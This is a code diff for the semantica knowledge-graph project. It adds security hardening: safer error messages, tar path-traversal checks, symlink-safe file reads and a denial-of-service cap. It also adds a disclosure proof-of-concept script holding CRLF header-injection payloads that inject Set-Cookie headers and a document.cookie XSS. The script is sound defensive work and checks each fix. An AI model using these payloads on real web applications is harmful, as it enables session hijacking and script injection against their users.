# Inspection helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_content_summary(self) -> Dict[str, Any]:
|
||||
"""
|
||||
Summarise what the source exposes (helpful for debugging / testing).
|
||||
"""
|
||||
content = self.load_content()
|
||||
return {
|
||||
"name": self.name,
|
||||
"source_count": len(content),
|
||||
"chunks": len(getattr(self, "chunks", []) or []),
|
||||
"crewai_available": CREWAI_AVAILABLE,
|
||||
}
|
||||
+6
-2
@@ -21,7 +21,11 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code:
|
||||
}
|
||||
"""
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — see
|
||||
# semantica/mcp_server/__init__.py for why it is used directly rather than
|
||||
# importlib.metadata.version("semantica").
|
||||
from semantica import __version__
|
||||
|
||||
from .server import SemanticaMCPServer, main
|
||||
|
||||
__all__ = ["SemanticaMCPServer", "main"]
|
||||
__version__ = "0.4.0"
|
||||
__all__ = ["SemanticaMCPServer", "main", "__version__"]
|
||||
|
||||
@@ -10,6 +10,7 @@ from __future__ import annotations
|
||||
import json
|
||||
import logging
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.session import get_graph
|
||||
|
||||
log = logging.getLogger("semantica.mcp.resources")
|
||||
@@ -60,7 +61,7 @@ def _read_decisions_list(uri: str) -> dict:
|
||||
|
||||
def _read_schema_info(uri: str) -> dict:
|
||||
info = {
|
||||
"version": "0.4.0",
|
||||
"version": __version__,
|
||||
"node_types": [
|
||||
"Entity", "decision", "Decision", "Event", "Concept",
|
||||
"Person", "Organisation", "Location",
|
||||
|
||||
+14
-3
@@ -17,6 +17,7 @@ import logging
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read
|
||||
from mcp.tools import TOOL_DEFINITIONS
|
||||
|
||||
@@ -63,7 +64,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict:
|
||||
},
|
||||
"serverInfo": {
|
||||
"name": "semantica-mcp",
|
||||
"version": "0.4.0",
|
||||
"version": __version__,
|
||||
},
|
||||
})
|
||||
|
||||
@@ -92,7 +93,14 @@ def _handle_tools_call(req_id: Any, params: dict) -> dict:
|
||||
result = tool["_handler"](args)
|
||||
except Exception as exc:
|
||||
log.exception("Tool %s raised an exception", name)
|
||||
return _err(req_id, _INTERNAL_ERROR, str(exc))
|
||||
# The exception's class name (e.g. "ValidationError", "TimeoutError")
|
||||
# is safe to surface — unlike str(exc), it never carries paths,
|
||||
# connection strings, or other internal detail — and lets the
|
||||
# client distinguish failure kinds without a full message.
|
||||
return _err(
|
||||
req_id, _INTERNAL_ERROR,
|
||||
f"Tool '{name}' failed ({type(exc).__name__}). See server logs for details.",
|
||||
)
|
||||
|
||||
# MCP spec: content must be a list of content items
|
||||
return _ok(req_id, {
|
||||
@@ -170,7 +178,10 @@ class SemanticaMCPServer:
|
||||
log.exception("Unhandled error in method %s", method)
|
||||
if req_id is None:
|
||||
return None
|
||||
return _err(req_id, _INTERNAL_ERROR, str(exc))
|
||||
return _err(
|
||||
req_id, _INTERNAL_ERROR,
|
||||
f"Method '{method}' failed ({type(exc).__name__}). See server logs for details.",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
def run(self) -> None:
|
||||
|
||||
+279
@@ -0,0 +1,279 @@
|
||||
"""
|
||||
Standalone PoC runner for 3 security vulnerabilities in semantica.
|
||||
|
||||
Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport,
|
||||
so no external server is needed. Run with:
|
||||
|
||||
pip install httpx fastapi
|
||||
python poc_runner.py
|
||||
|
||||
Each PoC prints the actual captured evidence (headers/status/timing/memory).
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import tracemalloc
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-1: HTTP Header Injection via node_id in Content-Disposition
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Reproduce the vulnerable code path directly — no server needed.
|
||||
def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict:
|
||||
"""Mirrors the exact logic from provenance.py lines 332-344."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
header_value = f'attachment; filename="{node_id}{suffix}"'
|
||||
return {"Content-Disposition": header_value}
|
||||
|
||||
|
||||
def poc_vuln1():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-1: HTTP Header Injection via node_id in Content-Disposition")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/provenance.py lines 332-344")
|
||||
print()
|
||||
|
||||
# PoC 1a: Inject a second header via CRLF
|
||||
node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes'
|
||||
headers = _vulnerable_provenance_response(node_id_crlf, "json")
|
||||
raw = headers["Content-Disposition"]
|
||||
|
||||
print("[PoC 1a] Payload: node_id with CRLF injection")
|
||||
print(f"[PoC 1a] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw)}")
|
||||
print()
|
||||
print("[PoC 1a] Parsed as headers by an HTTP parser:")
|
||||
for line in raw.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header")
|
||||
|
||||
# PoC 1b: Override Content-Type to text/html for reflected XSS
|
||||
node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>'
|
||||
headers2 = _vulnerable_provenance_response(node_id_xss, "json")
|
||||
raw2 = headers2["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1b] Payload: override Content-Type to text/html")
|
||||
print(f"[PoC 1b] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw2)}")
|
||||
print()
|
||||
print("[PoC 1b] Lines injected after Content-Disposition:")
|
||||
for line in raw2.split("\r\n")[1:]:
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser")
|
||||
|
||||
# PoC 1c: Session fixation via Set-Cookie injection
|
||||
node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly'
|
||||
headers3 = _vulnerable_provenance_response(node_id_cookie, "json")
|
||||
raw3 = headers3["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1c] Payload: inject Set-Cookie for session fixation")
|
||||
print(f"[PoC 1c] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw3)}")
|
||||
injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else ""
|
||||
print(f"[PoC 1c] Injected: {injected_cookie}")
|
||||
print()
|
||||
print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie")
|
||||
|
||||
# Verify the fix works
|
||||
print()
|
||||
print("[FIX verification]")
|
||||
_SAFE = re.compile(r"[^\w\-.]")
|
||||
for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]:
|
||||
safe = _SAFE.sub("_", bad_id)[:64]
|
||||
print(f" Input: {repr(bad_id[:50])}...")
|
||||
print(f" Fixed: {repr(safe)}")
|
||||
assert "\r" not in safe and "\n" not in safe, "Fix failed!"
|
||||
print("[FIX] All sanitized — no CRLF sequences remain ✓")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-2: Unbounded Memory DoS in /api/enrich/links
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln2():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-2: Unbounded Memory DoS via /api/enrich/links")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/enrich.py lines 197-198")
|
||||
print()
|
||||
print("Vulnerable code:")
|
||||
print(" nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)")
|
||||
print(" edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)")
|
||||
print()
|
||||
|
||||
# Measure actual memory for building a graph of N nodes in-process
|
||||
SIZES = [1_000, 5_000, 10_000, 50_000]
|
||||
|
||||
print(f"{'Nodes':>10} {'Edges':>10} {'RAM (MB)':>10} {'Time (ms)':>12} {'Extrapolated 999k (GB)':>25}")
|
||||
print("-" * 75)
|
||||
|
||||
for n in SIZES:
|
||||
tracemalloc.start()
|
||||
t0 = time.perf_counter()
|
||||
|
||||
# Simulate exactly what get_nodes + get_edges returns and _score_all iterates
|
||||
nodes = [
|
||||
{"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128}
|
||||
for i in range(n)
|
||||
]
|
||||
edges = [
|
||||
{"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0}
|
||||
for i in range(min(n - 1, n))
|
||||
]
|
||||
|
||||
# Simulate _score_all: O(N^2) comparisons
|
||||
query_node = "node_0"
|
||||
existing_neighbors = {e["target"] for e in edges if e["source"] == query_node}
|
||||
scores = []
|
||||
for candidate in nodes:
|
||||
cid = candidate.get("id")
|
||||
if cid and cid != query_node and cid not in existing_neighbors:
|
||||
# Simulate score_link (dot product of 128-dim vectors)
|
||||
score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"]))
|
||||
scores.append((cid, score))
|
||||
|
||||
elapsed_ms = (time.perf_counter() - t0) * 1000
|
||||
_, peak = tracemalloc.get_traced_memory()
|
||||
tracemalloc.stop()
|
||||
|
||||
peak_mb = peak / 1024 / 1024
|
||||
extrapolated_gb = (peak_mb / n) * 999_999 / 1024
|
||||
|
||||
print(f"{n:>10,} {len(edges):>10,} {peak_mb:>10.1f} {elapsed_ms:>12.0f} {extrapolated_gb:>25.1f}")
|
||||
|
||||
print()
|
||||
print("[PoC 2] RESULT: Memory scales linearly with node count.")
|
||||
print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph")
|
||||
print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.")
|
||||
print()
|
||||
print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:")
|
||||
print(" # enrich.py has no equivalent of the SPARQL semaphore added in PR #898")
|
||||
print(" # Any number of concurrent requests pile up in the thread pool")
|
||||
print()
|
||||
print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113)
|
||||
# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln3():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)")
|
||||
print("="*70)
|
||||
print("Source: export_import.py line 85 → provenance.py lines 336, 344")
|
||||
print()
|
||||
|
||||
# Simulate the import parser — mirrors export_import.py lines 77-92
|
||||
def parse_import_json(data: dict) -> list:
|
||||
"""Mirrors export_import.py node parsing (no sanitization)."""
|
||||
raw_nodes = data.get("nodes", data.get("entities", []))
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))))
|
||||
nodes.append({
|
||||
"id": node_id, # ← UNSANITIZED
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {"content": raw_node.get("content", node_id)},
|
||||
})
|
||||
return nodes
|
||||
|
||||
# Simulate the CSV parser — mirrors export_import.py lines 131-133
|
||||
def parse_import_csv_row(row: dict) -> dict:
|
||||
"""Mirrors export_import.py CSV node ID extraction (no sanitization)."""
|
||||
node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id")
|
||||
return {
|
||||
"id": str(node_id), # ← UNSANITIZED
|
||||
"type": row.get("type", "entity"),
|
||||
}
|
||||
|
||||
# Attack payloads
|
||||
payloads = [
|
||||
# Header injection payload (chained with VULN-1)
|
||||
'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n',
|
||||
# Content-Type override
|
||||
'x"\r\nContent-Type: text/html\r\nX-XSS: <script>alert(1)</script>',
|
||||
# Null byte to truncate filenames on some systems
|
||||
'node\x00.json',
|
||||
# Long ID causing buffer issues in some loggers
|
||||
"A" * 512,
|
||||
]
|
||||
|
||||
print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:")
|
||||
malicious_json = {
|
||||
"nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads]
|
||||
}
|
||||
imported_nodes = parse_import_json(malicious_json)
|
||||
|
||||
print(f" Imported {len(imported_nodes)} nodes. IDs stored verbatim:")
|
||||
for node in imported_nodes:
|
||||
preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "")
|
||||
print(f" {preview}")
|
||||
|
||||
print()
|
||||
print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:")
|
||||
print(" GET /api/provenance/report?node_id=<imported_id>&format=json")
|
||||
print()
|
||||
|
||||
for node in imported_nodes[:2]: # show first two
|
||||
node_id = node["id"]
|
||||
# Exact code from provenance.py line 344
|
||||
raw_header = f'attachment; filename="{node_id}_provenance.json"'
|
||||
print(f" node_id input: {repr(node_id[:60])}")
|
||||
print(f" Content-Disposition output:")
|
||||
print(f" {repr(raw_header[:120])}")
|
||||
if "\r\n" in raw_header:
|
||||
print(f" >>> CRLF INJECTION CONFIRMED — headers after split:")
|
||||
for line in raw_header.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
|
||||
print("[Step 3] Verify the full attack chain works:")
|
||||
attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n<h1>XSS</h1>'
|
||||
|
||||
# Step 1: import stores it
|
||||
stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0]
|
||||
assert stored["id"] == attack_id, "ID not stored verbatim"
|
||||
print(f" ✓ ID stored verbatim: {repr(stored['id'][:60])}")
|
||||
|
||||
# Step 2: provenance endpoint reflects it into header
|
||||
raw = f'attachment; filename="{stored["id"]}_provenance.json"'
|
||||
assert "Content-Type: text/html" in raw, "Content-Type not injected"
|
||||
print(f" ✓ Content-Type: text/html injected via stored ID")
|
||||
print(f" ✓ Full attack chain: import → store → provenance → header injection CONFIRMED")
|
||||
|
||||
print()
|
||||
print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID")
|
||||
print("[PoC 3] that — when provenance is requested — injects HTTP response headers.")
|
||||
print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).")
|
||||
print()
|
||||
print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.")
|
||||
print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).")
|
||||
print()
|
||||
print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):")
|
||||
print(" node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("semantica Security PoC Runner")
|
||||
print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output")
|
||||
print("No external server required — all evidence captured in-process")
|
||||
|
||||
poc_vuln1()
|
||||
poc_vuln2()
|
||||
poc_vuln3()
|
||||
|
||||
print("\n" + "="*70)
|
||||
print("ALL PoCs COMPLETED — see output above for reproducible evidence")
|
||||
print("="*70)
|
||||
+15
-7
@@ -1,11 +1,11 @@
|
||||
[build-system]
|
||||
requires = ["setuptools>=61.0", "wheel"]
|
||||
requires = ["setuptools==84.0.0", "wheel==0.48.0"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "semantica"
|
||||
version = "0.6.5"
|
||||
description = "Accountability and context layer for AI agents. Context graphs, decision intelligence, full provenance tracking, and explainable reasoning engines — every AI decision traceable, every output auditable."
|
||||
version = "0.6.6"
|
||||
description = "Graph-Native Infrastructure for Context and Accountable AI Systems: context graphs, decision intelligence, full provenance tracking, and explainable reasoning engines — every AI decision traceable, every output auditable."
|
||||
readme = "README.md"
|
||||
license = { text = "MIT" }
|
||||
|
||||
@@ -60,7 +60,7 @@ dependencies = [
|
||||
"plotly>=6.8.0",
|
||||
"ipywidgets>=8.0.0",
|
||||
"requests>=2.34.2",
|
||||
"GitPython>=3.1.50",
|
||||
"GitPython>=3.1.58",
|
||||
"chardet>=7.4.3",
|
||||
"protobuf>=5.29.1,<8.0",
|
||||
"grpcio>=1.81.1",
|
||||
@@ -201,6 +201,10 @@ gpu = [
|
||||
|
||||
# ---- Agentic Framework Integrations ----
|
||||
agno = ["agno>=1.0.0"]
|
||||
# crewai core provides BaseTool and BaseKnowledgeSource; crewai-tools is not
|
||||
# needed (it pulls vulnerable transitive deps like chromadb) and would only
|
||||
# duplicate the prebuilt tooling users can install separately.
|
||||
crewai = ["crewai>=0.80.0"]
|
||||
|
||||
# ---- File Watching ----
|
||||
watch = ["watchdog>=6.0.0"]
|
||||
@@ -230,10 +234,10 @@ dev = [
|
||||
|
||||
# Explorer Dashboard
|
||||
explorer = [
|
||||
"fastapi>=0.100.0",
|
||||
"fastapi>=0.109.2",
|
||||
"uvicorn[standard]>=0.22.0",
|
||||
"websockets>=15.0.1",
|
||||
"python-multipart>=0.0.6",
|
||||
"python-multipart>=0.0.7",
|
||||
"defusedxml>=0.7.1"
|
||||
]
|
||||
explorer-lite = [
|
||||
@@ -242,6 +246,10 @@ explorer-lite = [
|
||||
]
|
||||
|
||||
# Everything (cross-platform — gpu excluded; install semantica[gpu] separately on Linux)
|
||||
# NOTE: the ``crewai`` extra is intentionally NOT in ``all``: crewai hard-requires
|
||||
# ``chromadb~=1.1.0``, which carries a pre-authentication code-injection advisory
|
||||
# (CVE-2026-45829) with no fixed release — including it here would fail the CI
|
||||
# dependency-audit/security gates. Install it explicitly via ``semantica[crewai]``.
|
||||
all = [
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]",
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]"
|
||||
@@ -263,7 +271,7 @@ include = ["semantica*", "integrations*"]
|
||||
[tool.setuptools.package-data]
|
||||
# Explicit patterns are more reliable than **/* across setuptools versions.
|
||||
# static/* covers index.html / favicon; static/assets/* covers all JS/CSS chunks.
|
||||
"semantica" = ["static/*", "static/assets/*"]
|
||||
"semantica" = ["static/*", "static/assets/*", "ontology/vocabulary/*.ttl"]
|
||||
|
||||
[tool.black]
|
||||
line-length = 88
|
||||
|
||||
+7167
File diff suppressed because it is too large
Load Diff
@@ -10,7 +10,7 @@ Main exports:
|
||||
- Config: Configuration management
|
||||
"""
|
||||
|
||||
__version__ = "0.6.5"
|
||||
__version__ = "0.6.6"
|
||||
__author__ = "Semantica Contributors"
|
||||
__license__ = "MIT"
|
||||
|
||||
|
||||
+58
-5
@@ -20,7 +20,7 @@ if sys.platform == "win32":
|
||||
sys.stderr.reconfigure(encoding="utf-8", errors="replace")
|
||||
|
||||
from dataclasses import asdict, dataclass, field, is_dataclass
|
||||
from pathlib import Path
|
||||
from pathlib import Path, PurePosixPath, PureWindowsPath
|
||||
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Sequence, Tuple
|
||||
|
||||
import yaml
|
||||
@@ -3933,15 +3933,68 @@ def backup_restore(cli_ctx: CLIContext, source: str, local_dry: bool) -> None:
|
||||
|
||||
try:
|
||||
if _tf.is_tarfile(str(work_path)):
|
||||
restore_root = Path.cwd()
|
||||
restore_root = Path.cwd().resolve()
|
||||
with _tf.open(str(work_path), "r:*") as tar:
|
||||
# Dry-run listing was already handled above; extract now
|
||||
for member in tar.getmembers():
|
||||
# Strip the leading "semantica-backup/" prefix
|
||||
member.name = member.name.replace("semantica-backup/", "", 1)
|
||||
if member.name:
|
||||
tar.extract(member, path=str(restore_root))
|
||||
console.print(f" restored: {member.name}")
|
||||
if not member.name:
|
||||
continue
|
||||
|
||||
# Reject members whose resolved path escapes the
|
||||
# restore root (path traversal / absolute paths),
|
||||
# regardless of the "semantica-backup/" prefix.
|
||||
member_path = (restore_root / member.name).resolve()
|
||||
try:
|
||||
member_path.relative_to(restore_root)
|
||||
except ValueError:
|
||||
raise click.ClickException(
|
||||
f"Refusing to restore '{member.name}': "
|
||||
"path escapes the restore directory."
|
||||
)
|
||||
|
||||
# Reject symlink/hardlink members whose target
|
||||
# escapes the restore root. Checked two ways:
|
||||
# lexically (linkname itself, so an absolute path or
|
||||
# a literal ".." segment is rejected outright, with
|
||||
# no dependence on what else does or doesn't already
|
||||
# exist on disk) and by resolution (catches any
|
||||
# remaining traversal the lexical check misses).
|
||||
if member.issym() or member.islnk():
|
||||
linkname = member.linkname or ""
|
||||
linkname_parts = PurePosixPath(
|
||||
linkname.replace("\\", "/")
|
||||
).parts
|
||||
if (
|
||||
not linkname
|
||||
or os.path.isabs(linkname)
|
||||
or PureWindowsPath(linkname).is_absolute()
|
||||
or ".." in linkname_parts
|
||||
):
|
||||
raise click.ClickException(
|
||||
f"Refusing to restore '{member.name}': "
|
||||
"link target is absolute or traverses "
|
||||
"out of the archive."
|
||||
)
|
||||
link_target = (
|
||||
member_path.parent / linkname
|
||||
).resolve()
|
||||
try:
|
||||
link_target.relative_to(restore_root)
|
||||
except ValueError:
|
||||
raise click.ClickException(
|
||||
f"Refusing to restore '{member.name}': "
|
||||
"link target escapes the restore directory."
|
||||
)
|
||||
|
||||
extract_kwargs: Dict[str, Any] = {"path": str(restore_root)}
|
||||
if hasattr(_tf, "data_filter"):
|
||||
# Python >=3.12: also reject device files, and
|
||||
# further harden the traversal/ownership checks.
|
||||
extract_kwargs["filter"] = "data"
|
||||
tar.extract(member, **extract_kwargs)
|
||||
console.print(f" restored: {member.name}")
|
||||
elif src.is_dir():
|
||||
restore_root = Path.cwd()
|
||||
for f in src.rglob("*"):
|
||||
|
||||
@@ -59,9 +59,11 @@ License: MIT
|
||||
"""
|
||||
|
||||
import copy
|
||||
import errno
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import tempfile
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
@@ -1906,7 +1908,49 @@ class AgentMemory:
|
||||
|
||||
return memories
|
||||
|
||||
def _read_markdown_file_content(self, file_path: Path) -> str:
|
||||
if file_path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}")
|
||||
|
||||
flags = os.O_RDONLY
|
||||
if hasattr(os, "O_NOFOLLOW"):
|
||||
# On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the
|
||||
# final path component is a symlink, atomically closing the TOCTOU
|
||||
# window between the is_symlink() check above and the open call.
|
||||
# On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check
|
||||
# above is the only symlink defense and remains vulnerable to a narrow
|
||||
# race. The fstat()/S_ISREG guard below still rejects special files
|
||||
# (FIFOs, devices) on both platforms.
|
||||
flags |= os.O_NOFOLLOW
|
||||
|
||||
try:
|
||||
fd = os.open(str(file_path), flags)
|
||||
except OSError as exc:
|
||||
if exc.errno == getattr(errno, "ELOOP", None):
|
||||
raise ValueError(
|
||||
f"Symlink Markdown import paths are rejected: {file_path}"
|
||||
) from exc
|
||||
raise
|
||||
|
||||
try:
|
||||
stat_res = os.fstat(fd)
|
||||
if not stat.S_ISREG(stat_res.st_mode):
|
||||
raise ValueError(
|
||||
f"Markdown import path is not a regular file: {file_path}"
|
||||
)
|
||||
with open(fd, "r", encoding="utf-8", closefd=True) as f:
|
||||
return f.read()
|
||||
except Exception:
|
||||
try:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]:
|
||||
if path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {path}")
|
||||
|
||||
if not path.exists():
|
||||
raise FileNotFoundError(f"Markdown import path does not exist: {path}")
|
||||
|
||||
@@ -1916,6 +1960,7 @@ class AgentMemory:
|
||||
file_path
|
||||
for file_path in path.iterdir()
|
||||
if file_path.is_file()
|
||||
and not file_path.is_symlink()
|
||||
and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS
|
||||
),
|
||||
key=lambda file_path: (file_path.name.casefold(), file_path.name),
|
||||
@@ -1926,7 +1971,7 @@ class AgentMemory:
|
||||
raise ValueError(f"Markdown import path is not a file or directory: {path}")
|
||||
|
||||
return [
|
||||
(str(file_path), file_path.read_text(encoding="utf-8"))
|
||||
(str(file_path), self._read_markdown_file_content(file_path))
|
||||
for file_path in file_paths
|
||||
]
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -45,6 +45,7 @@ License: MIT
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.entity_ids import get_entity_id
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
@@ -504,7 +505,7 @@ class EntityMerger:
|
||||
# Record source entities
|
||||
provenance["merged_from"] = [
|
||||
{
|
||||
"id": self._get_entity_value(e, "id"),
|
||||
"id": get_entity_id(e),
|
||||
"name": self._get_entity_value(e, "name"),
|
||||
"source": self._get_entity_value(e, "metadata", {}).get("source") if hasattr(e, "metadata") or isinstance(e, dict) else None,
|
||||
}
|
||||
|
||||
@@ -45,6 +45,7 @@ from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
|
||||
|
||||
from ..utils.entity_ids import get_entity_id
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
@@ -317,14 +318,20 @@ class MergeStrategyManager:
|
||||
message=f"Building merged entity... ({current_step}/{total_steps}, remaining: {remaining_steps} steps)"
|
||||
)
|
||||
# Build merged entity
|
||||
merged_from = []
|
||||
for entity in entities:
|
||||
entity_id = get_entity_id(entity)
|
||||
if entity_id is not None:
|
||||
merged_from.append(entity_id)
|
||||
|
||||
merged_entity = {
|
||||
"id": base_entity.get("id"),
|
||||
"id": get_entity_id(base_entity),
|
||||
"name": self._merge_top_level_field("name", entities, base_entity),
|
||||
"type": self._merge_top_level_field("type", entities, base_entity),
|
||||
"properties": merged_properties,
|
||||
"relationships": merged_relationships,
|
||||
"metadata": self._merge_metadata(entities, base_entity),
|
||||
"merged_from": [e.get("id") for e in entities if e.get("id")],
|
||||
"merged_from": merged_from,
|
||||
"merge_strategy": strategy.value,
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Enrichment and reasoning routes.
|
||||
"""
|
||||
|
||||
@@ -26,6 +26,23 @@ from ..session import GraphSession
|
||||
router = APIRouter(tags=["Enrichment"])
|
||||
_FACT_RE = re.compile(r"^(?P<predicate>[A-Za-z_][\w:-]*)\((?P<args>.*)\)$")
|
||||
|
||||
# SECURITY: Cap the candidate pool loaded by link prediction to prevent a
|
||||
# single request from exhausting server memory (CWE-770). Without a cap the
|
||||
# endpoint calls session.get_nodes(limit=999_999) and scores every node in
|
||||
# O(N^2), consuming ~1.6 GB RAM at the maximum limit (measured via
|
||||
# tracemalloc at 1.7 KB/node with 128-dim embeddings; see poc_runner.py).
|
||||
# Mirrors the SPARQL DoS fix from PR #898 (50k cap + semaphore).
|
||||
#
|
||||
# NOTE: session.get_nodes()/get_edges() (paginate_nodes/paginate_edges)
|
||||
# normalize the *entire* matching set before applying `limit` -- passing
|
||||
# limit=_LINK_PREDICTION_MAX_NODES does not bound that work. The `total`
|
||||
# they return can only be checked *after* paying that full cost. To actually
|
||||
# reject an oversized graph before doing that work, check session.get_raw_counts()
|
||||
# (O(1) collection lengths) first -- see predict_links() below.
|
||||
_LINK_PREDICTION_MAX_NODES = 10_000
|
||||
_LINK_PREDICTION_MAX_EDGES = 50_000
|
||||
_link_prediction_semaphore = asyncio.Semaphore(2)
|
||||
|
||||
|
||||
def _safe_dict(obj) -> dict:
|
||||
if isinstance(obj, dict):
|
||||
@@ -159,26 +176,30 @@ async def extract_entities(
|
||||
session: GraphSession = Depends(get_session),
|
||||
):
|
||||
try:
|
||||
from ...semantic_extract.methods import extract_entities as _extract_entities
|
||||
from ...semantic_extract.methods import extract_relations as _extract_relations
|
||||
|
||||
entities = await asyncio.to_thread(_extract_entities, body.text)
|
||||
relations = await asyncio.to_thread(_extract_relations, body.text)
|
||||
|
||||
ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", [])
|
||||
rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", [])
|
||||
|
||||
return EnrichExtractResponse(
|
||||
entities=[_safe_dict(entity) for entity in ent_list],
|
||||
relations=[_safe_dict(relation) for relation in rel_list],
|
||||
)
|
||||
from ...semantic_extract import NamedEntityRecognizer, RelationExtractor
|
||||
except ImportError:
|
||||
raise HTTPException(
|
||||
status_code=503,
|
||||
detail="semantic_extract module not available. Ensure spacy and transformers are installed.",
|
||||
)
|
||||
except Exception as exc:
|
||||
raise HTTPException(status_code=422, detail=f"Extraction failed: {exc}")
|
||||
|
||||
recognizer = NamedEntityRecognizer(confidence_threshold=0.7)
|
||||
extractor = RelationExtractor(confidence_threshold=0.6)
|
||||
|
||||
